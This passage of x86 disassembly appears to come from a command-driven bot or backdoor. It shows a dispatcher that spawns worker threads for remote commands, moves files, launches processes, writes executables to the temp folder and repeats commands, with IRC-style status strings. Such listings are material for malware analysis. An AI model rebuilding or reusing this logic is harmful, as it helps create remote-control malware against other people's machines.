		cmp	byte_43E928[eax], bl
		jz	loc_409644
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		call	sub_41B9C0
		push	edi
		mov	esi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409869
		push	edi
		call	sub_41C159
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E710[eax], 73h
		jnz	loc_409644
		push	esi
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E928
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	<%s> %s"


loc_407957:				; CODE XREF: sub_401ACD+5DB5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 28h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_407984:				; CODE XREF: sub_401ACD+4DA9j
					; sub_401ACD+4DC0j
		push	edi
		call	dword_4CBA14	; inet_addr
		push	[ebp+arg_18]
		mov	[ebp+var_680], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41BFD0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CBA60	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A910
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset sub_40C92C
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407A66


loc_407A50:				; CODE XREF: sub_401ACD+5F97j
		cmp	[ebp+var_670], ebx
		jnz	loc_403D46
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_407A50
; ---------------------------------------------------------------------------


loc_407A66:				; CODE XREF: sub_401ACD+5F81j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42AA00
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407A77:				; CODE XREF: sub_401ACD+4D7Bj
					; sub_401ACD+4D92j
		push	edi
		call	sub_41C159
		push	7Fh
		mov	[ebp+var_1130],	eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_1234]
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_0]
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1134],	eax
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_88]
		mov	[ebp+var_123C],	esi
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_1120],	eax
		push	[ebp+var_1134]
		lea	eax, [ebp+var_1234]
		mov	[ebp+var_1124],	edi
		push	eax
		push	[ebp+var_1130]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A8D4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_112C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_123C]
		push	ebx
		push	eax
		push	offset sub_410DAB
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_112C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407B63


loc_407B4D:				; CODE XREF: sub_401ACD+6094j
		cmp	[ebp+var_111C],	ebx
		jnz	loc_403D46
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_407B4D
; ---------------------------------------------------------------------------


loc_407B63:				; CODE XREF: sub_401ACD+607Ej
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A890
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407B74:				; CODE XREF: sub_401ACD+4D4Dj
					; sub_401ACD+4D64j
		push	0FFh
		lea	eax, [ebp+var_287C]
		push	edi
		push	eax
		call	sub_41BFD0
		push	0FFh
		lea	eax, [ebp+var_277C]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_0]
		mov	[ebp+var_2678],	ebx
		call	sub_41C159
		mov	[ebp+var_2674],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407BCD
		push	10h
		push	ebx
		push	eax
		call	sub_41C7A5
		add	esp, 0Ch
		mov	[ebp+var_266C],	eax
		jmp	short loc_407BD3
; ---------------------------------------------------------------------------


loc_407BCD:				; CODE XREF: sub_401ACD+60EAj
		mov	[ebp+var_266C],	ebx


loc_407BD3:				; CODE XREF: sub_401ACD+60FEj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407BEA
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_2670],	eax
		jmp	short loc_407BF0
; ---------------------------------------------------------------------------


loc_407BEA:				; CODE XREF: sub_401ACD+610Cj
		mov	[ebp+var_2670],	ebx


loc_407BF0:				; CODE XREF: sub_401ACD+611Bj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2668],	eax
		lea	eax, [ebp+var_28FC]
		mov	[ebp+var_2900],	esi
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_2660],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A864
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_267C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2900]
		push	ebx
		push	eax
		push	offset sub_4167A0
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_267C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407CA1


loc_407C8B:				; CODE XREF: sub_401ACD+61D2j
		cmp	[ebp+var_265C],	ebx
		jnz	loc_407196
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_407C8B
; ---------------------------------------------------------------------------


loc_407CA1:				; CODE XREF: sub_401ACD+61BCj
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A824
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407CB2:				; CODE XREF: sub_401ACD+4D1Fj
					; sub_401ACD+4D36j
		push	7Fh
		lea	eax, [ebp+var_3494]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3414]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3394]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3314]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3290],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_328C],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3498],	esi
		push	edi
		push	offset unk_42A7E8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3294],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3498]
		push	ebx
		push	eax
		push	offset sub_41561D
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_3294]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407D89


loc_407D73:				; CODE XREF: sub_401ACD+62BAj
		cmp	[ebp+var_3288],	ebx
		jnz	loc_407196
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_407D73
; ---------------------------------------------------------------------------


loc_407D89:				; CODE XREF: sub_401ACD+62A4j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A7B0
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407D9A:				; CODE XREF: sub_401ACD+4BF2j
					; sub_401ACD+4C09j
		push	7Fh
		lea	eax, [ebp+var_306C]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2FEC]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2F6C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2EEC]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E68],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E64],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3070],	esi
		push	edi
		push	offset unk_42A780
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_2E6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3070]
		push	ebx
		push	eax
		push	offset sub_414358
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_2E6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407E71


loc_407E5B:				; CODE XREF: sub_401ACD+63A2j
		cmp	[ebp+var_2E60],	ebx
		jnz	loc_407196
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_407E5B
; ---------------------------------------------------------------------------


loc_407E71:				; CODE XREF: sub_401ACD+638Cj
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A748
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407E82:				; CODE XREF: sub_401ACD+4AC9j
					; sub_401ACD+4AE0j ...
		push	7Fh
		lea	eax, [ebp+var_3CE8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3C68]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3BE8]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3B68]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		push	20h
		lea	eax, [ebp+var_3AE8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A68],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A64],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3CF0],	esi
		push	edi
		push	offset unk_42A718
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3CEC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CF0]
		push	ebx
		push	eax
		push	offset sub_4135DF
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_3CEC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407F6A


loc_407F54:				; CODE XREF: sub_401ACD+649Bj
		cmp	[ebp+var_3A60],	ebx
		jnz	loc_407196
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_407F54
; ---------------------------------------------------------------------------


loc_407F6A:				; CODE XREF: sub_401ACD+6485j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A6E0
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407F7B:				; CODE XREF: sub_401ACD+4A9Bj
					; sub_401ACD+4AB2j
		push	7Fh
		lea	eax, [ebp+var_177C]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	3Fh
		mov	[ebp+var_162C],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16FC]
		push	eax
		call	sub_41BFD0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_407FC6
		push	3Fh
		lea	eax, [ebp+var_16BC]
		push	esi
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_407FC6:				; CODE XREF: sub_401ACD+64E5j
		lea	eax, [ebp+var_16FC]
		mov	[ebp+var_1628],	1
		push	eax
		lea	eax, [ebp+var_177C]
		push	[ebp+var_162C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A6B0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1624],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1780]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_1624]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_408052


loc_40803C:				; CODE XREF: sub_401ACD+6583j
		cmp	[ebp+var_1620],	ebx
		jnz	loc_406BFE
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_40803C
; ---------------------------------------------------------------------------


loc_408052:				; CODE XREF: sub_401ACD+656Dj
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42A674
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408063:				; CODE XREF: sub_401ACD+4A5Bj
					; sub_401ACD+4A72j
		push	[ebp+arg_18]
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D68],	eax
		jle	loc_408156
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1EF0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D64],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF4],	eax
		lea	eax, [ebp+var_1DF0]
		push	esi
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_1D5C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A648
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1D70],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF4]
		push	ebx
		push	eax
		push	offset sub_413A29
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_1D70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_408145


loc_408133:				; CODE XREF: sub_401ACD+6676j
		cmp	[ebp+var_1D58],	ebx
		jnz	short loc_4081AD
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_408133
; ---------------------------------------------------------------------------


loc_408145:				; CODE XREF: sub_401ACD+6664j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A610
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_408156:				; CODE XREF: sub_401ACD+65A7j
		push	offset unk_42A5D8
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408160:				; CODE XREF: sub_401ACD+4A2Dj
					; sub_401ACD+4A44j
		push	[ebp+arg_18]
		push	edi
		call	dword_4270BC	; MoveFileA
		test	eax, eax
		jz	short loc_40818D
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A5B4
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_4081AD
; ---------------------------------------------------------------------------


loc_40818D:				; CODE XREF: sub_401ACD+669Fj
		push	offset dword_42A5A8
		call	sub_418699
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360


loc_4081AA:				; CODE XREF: sub_401ACD+548Dj
					; sub_401ACD+73C5j
		add	esp, 0Ch


loc_4081AD:				; CODE XREF: sub_401ACD+20DCj
					; sub_401ACD+2E89j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4081CA:				; CODE XREF: sub_401ACD+56E4j
		call	sub_409869
		add	esp, 14h
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_4081D7:				; CODE XREF: sub_401ACD+49FFj
					; sub_401ACD+4A16j
		push	edi
		lea	eax, [ebp+var_3F08]
		push	104h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_408211
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_408211
		push	eax
		lea	eax, [ebp+var_3E04]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_408211:				; CODE XREF: sub_401ACD+6722j
					; sub_401ACD+6733j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F88]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F8C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CFC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF8],	eax
		lea	eax, [ebp+var_3E04]
		push	eax
		lea	eax, [ebp+var_3F08]
		push	eax
		push	offset unk_42A578
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3D00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F8C]
		push	ebx
		push	eax
		push	offset sub_417054
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_3D00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4082C3


loc_4082B1:				; CODE XREF: sub_401ACD+67F4j
		cmp	[ebp+var_3CF4],	ebx
		jnz	short loc_4082DE
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_4082B1
; ---------------------------------------------------------------------------


loc_4082C3:				; CODE XREF: sub_401ACD+67E2j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A53C


loc_4082CF:				; CODE XREF: sub_401ACD+909j
					; sub_401ACD+A47j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_4082DE:				; CODE XREF: sub_401ACD+7C5j
					; sub_401ACD+930j ...
		push	1
		pop	esi
		jmp	loc_406C22
; ---------------------------------------------------------------------------


loc_4082E6:				; CODE XREF: sub_401ACD+49D1j
					; sub_401ACD+49E8j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	edi
		mov	[ebp+var_63C], esi
		call	sub_41C159
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408323
		mov	[ebp+var_638], 5


loc_408323:				; CODE XREF: sub_401ACD+684Bj
		cmp	[ebp+var_C], ebx
		jz	loc_406BFE
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406BFE
		lea	eax, [ebp+var_E34]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	dword_427074	; CreateProcessA
		test	eax, eax
		jnz	short loc_40836E
		push	offset unk_42A518
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40836E:				; CODE XREF: sub_401ACD+6895j
		push	edi
		push	offset dword_42A4FC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408379:				; CODE XREF: sub_401ACD+49A3j
					; sub_401ACD+49BAj
		push	[ebp+arg_18]
		push	offset aDoos	; "DOOS"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4084F0
		lea	eax, [ebp+var_4BF8]
		push	eax
		push	104h
		call	dword_4270B8	; GetTempPathA
		push	0FFh
		lea	eax, [ebp+var_25D4]
		push	edi
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_17D4]
		push	eax
		call	sub_40AB77
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_4BF8]
		push	eax
		lea	eax, [ebp+var_24D4]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41C266
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23D0],	1
		mov	[ebp+var_23CC],	ebx
		jz	short loc_40840E
		push	10h
		push	ebx
		push	eax
		call	sub_41C7A5
		add	esp, 0Ch
		mov	[ebp+var_23C4],	eax
		jmp	short loc_408414
; ---------------------------------------------------------------------------


loc_40840E:				; CODE XREF: sub_401ACD+692Bj
		mov	[ebp+var_23C4],	ebx


loc_408414:				; CODE XREF: sub_401ACD+693Fj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_40842B
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_23C8],	eax
		jmp	short loc_408431
; ---------------------------------------------------------------------------


loc_40842B:				; CODE XREF: sub_401ACD+694Dj
		mov	[ebp+var_23C8],	ebx


loc_408431:				; CODE XREF: sub_401ACD+695Cj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23C0],	eax
		lea	eax, [ebp+var_2654]
		mov	[ebp+var_2658],	esi
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_23BC],	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A4C4
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_23D4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2658]
		push	ebx
		push	eax
		push	offset sub_4167A0
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_23D4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4084DF


loc_4084C9:				; CODE XREF: sub_401ACD+6A10j
		cmp	[ebp+var_23B4],	ebx
		jnz	loc_406BFE
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_4084C9
; ---------------------------------------------------------------------------


loc_4084DF:				; CODE XREF: sub_401ACD+69FAj
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42A488
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_4084F0:				; CODE XREF: sub_401ACD+68BDj
		push	offset dword_42A440


loc_4084F5:				; CODE XREF: sub_401ACD+2E30j
					; sub_401ACD+447Dj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_406BFE
; ---------------------------------------------------------------------------


loc_408508:				; CODE XREF: sub_401ACD+4975j
					; sub_401ACD+498Cj
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		cmp	[ebp+var_C], ebx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A430
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		push	edi
		call	sub_41C159
		add	esp, 28h
		test	eax, eax
		jle	short loc_408591
		push	edi
		call	sub_41C159
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	dword_427080	; Sleep


loc_408591:				; CODE XREF: sub_401ACD+6AAEj
		push	offset dword_42A41C
		call	sub_415D38
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_4085A5:				; CODE XREF: sub_401ACD+4947j
					; sub_401ACD+495Ej
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_41CA50
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408664
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A430
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset unk_42A404
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_408664:				; CODE XREF: sub_401ACD+6B1Dj
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A3D0
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_408678:				; CODE XREF: sub_401ACD+74E3j
		cmp	[ebp+var_8], ebx
		jnz	short loc_408699
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_408699:				; CODE XREF: sub_401ACD+6BAEj
					; sub_401ACD+71C7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		jmp	loc_409643
; ---------------------------------------------------------------------------


loc_4086AA:				; CODE XREF: sub_401ACD+4919j
					; sub_401ACD+4930j
		push	7Fh
		lea	eax, [ebp+var_2218]
		push	edi
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_2198]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_2118]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_2094],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_221C],	esi
		push	[ebp+arg_18]
		mov	[ebp+var_2090],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A39C
		push	eax
